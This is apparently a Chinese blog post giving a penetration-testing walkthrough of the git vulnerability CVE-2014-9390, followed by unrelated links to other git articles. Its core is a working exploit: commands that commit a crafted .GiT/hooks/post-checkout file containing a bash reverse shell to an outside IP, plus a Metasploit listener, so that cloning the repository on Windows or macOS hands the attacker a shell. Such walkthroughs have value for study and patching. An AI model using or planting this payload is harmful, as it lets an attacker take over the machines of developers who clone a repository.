0x00 背景


CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备


我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

1
2
3
4
5
6
7
8
9
10
root@rootlab:~/cve-2014-9390# mkdir .GiT
root@rootlab:~/cve-2014-9390# cd .GiT/
root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
root@rootlab:~/cve-2014-9390/.GiT# cd ..
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m 'poc'
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
root@rootlab:~/cve-2014-9390# git push

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

1
2
3
4
5
6
7
8
9
rootlab@MINCE ~
$ git clone git@gitlab.com:mehmet/cve-2014-9390.git
Cloning into 'cve-2014-9390'...
Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity... done.

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用


什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

1
2
3
4
5
6
7
8
9
root@rootlab:~/cve-2014-9390# mkdir .GiT/hooks
root@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload'
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
root@rootlab:~//cve-2014-9390# git push

我们在服务器端监听

1
2
3
4
5
6
7
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler...

我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

One git command may cause you hacked(CVE-2014-9390)的更多相关文章

  1. [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案

    [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案 问题情景 使用SourceTree,可以方便开发人员快速的套用GitFlow开发 ...

  2. Cordova 3.0 Plugin 安装 及"git" command line tool is not installed

    根据http://docs.phonegap.com/en/edge/guide_cli_index.md.html#The%20Command-line%20Interface Windows命令行 ...

  3. [Practical Git] Navigate git command pager output with Unix less commands

    When using a git command that can have a large amount of output (like git log, git diff, or git blam ...

  4. git: command not found

    在使用git时,出现“git: command not found”的情况,于是使用yum安装: [root@localhost ~]# yum install -y gitLoaded plugin ...

  5. 警告: git command could not be found. Please create an alias or add it to yo

    5 Answers active answertab=oldest#tab-top" title="Answers in the order they were provided& ...

  6. Git Command之Code Review

    原文链接 准备 Step 1. Create a team and add a teammate Step 2. Create a repository with some content 应用 Cl ...

  7. git command

    下载github代码 git clone https://github.com/zhoug2020/2015.git 在github上创建仓库: Create a new repository on ...

  8. git command line 提交代码

    echo "# spring-boot-apollo-demo" >> README.md git init git add README.md git commit ...

  9. 解决git: 'subtree' is not a git command. See 'git --help'.

    一.第一方法 git clone https://github.com/git/git.git cd git/contrib/subtree sudo make prefix=/usr sudo ma ...

随机推荐

  1. 移动开发框架,第【二】弹:Hammer.js 移动设备触摸手势js库

    hammer.js是一个多点触摸手势库,能够为网页加入Tap.Double Tap.Swipe.Hold.Pinch.Drag等多点触摸事件,免去自己监听底层touchstart.touchmove. ...

  2. docker入门(一)

    docker安装 yum install -y docker-io [root@centos ~]# yum install -y docker-io 已加载插件:fastestmirror, lan ...

  3. 利用 Lua 实现 App 动态化方案

    因为动态化的东西我第一次看实现方案的源码,而且目前还是大三的学生,缺少很多实践经验说错的地方还请原谅,也希望能指出,被告知.想了很久还是决定写出来,求大神勿喷. 并且我的一个朋友bestswifter ...

  4. html获取gps坐标

    <script> function getLocation(){ var options={ enableHighAccuracy:true, maximumAge:1000 } if(n ...

  5. Quartz Features

    Runtime Environments Quartz can run embedded within another free standing application Quartz can be ...

  6. sqlserver 误删数据恢复

    ----创建存储过程 CREATE PROCEDURE Recover_Deleted_Data_Proc @Database_Name NVARCHAR(MAX) , @SchemaName_n_T ...

  7. 在模型中获取网络数据,刷新tableView

    model .h #import <Foundation/Foundation.h> #import "AFHTTPRequestOperationManager.h" ...

  8. 第六篇、WebSphere8.5 (商业级服务器)大规模集群

    一.前言 上一篇中讲述了WebSphere的安装与应用,该版本的WAS一般都用于开发测试(有些小应用生产环境下也会用到),在生产中绝大部份使用的WebSphere Application Server ...

  9. JQuery无法获取动态添加的图片宽度问题解决办法

    $('.imgUl li,.v_img').click(function(){ var _left = 0; var _top = 0; $('body').append('<div class ...

  10. 利用正则表达式,给Json字段加引号

    { scheme: [ { query: [ [{ id: 'stdNumber', title: "标准号", compareType: 2 }], [{ id: 'CnName ...